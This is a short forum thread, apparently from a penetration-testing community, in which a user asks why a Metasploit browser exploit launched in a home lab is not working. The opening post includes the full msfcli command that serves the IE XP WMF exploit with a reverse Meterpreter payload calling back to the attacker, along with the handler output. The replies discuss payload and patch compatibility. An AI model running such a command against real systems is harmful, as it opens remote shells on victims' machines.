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  1. #1
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    Hey, I just downloaded BT3 and started it on VMware and was trying something on metasploit framework2.

    Code:
    ./msfcli ie_xp_pfv_metafile HTTPPORT=1337 PAYLOAD=win32_reverse_meterpreter LHOST=192.168.123.153 LPORT=31337 E
    As you can see it started the reverse handler.

    Code:
    [*] Starting Reverse Handler.[*] Waiting for connections to http;//192.168.123.153:1337
    Now i open http;//192.168.123.153:1337 and it returns

    Code:
    [*] HTTP Client connected from 192.168.123.100:2348, redirecting..[*] HTTP Client connected from 192.168.123.100:2349, sending 1032 bytes of payload...
    Now it just doesnt do anything at all, I got no idea why, I tested in with the IE that comes with the windows install (SP2).

    Im pretty much stuck, so help would be appreciated. Thanks in advance.



    P.S im aware that I used ; in this topic after http that is because I cannot post URLs with less then 15 posts.

  2. #2
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    You need to try a different payload. Your payload is getting hung up. Not all payloads work with all machines. in fact consider your self lucky to get one to work on a newer machine.

  3. #3
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    The server or client side computer?

  4. #4
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    Quote Originally Posted by pureh@te View Post
    Not all payloads work with all machines. in fact consider your self lucky to get one to work on a newer machine.
    By "newer machine" you mean a fully patched older target OS (e.g. Windows 2000/XP), or a newer OS (e.g. Vista)? Patched vulnerabilities make exploits fail, of course, but none of the metasploit documentation I've read indicates problems for the payloads, assuming there's an exploit available to install them.

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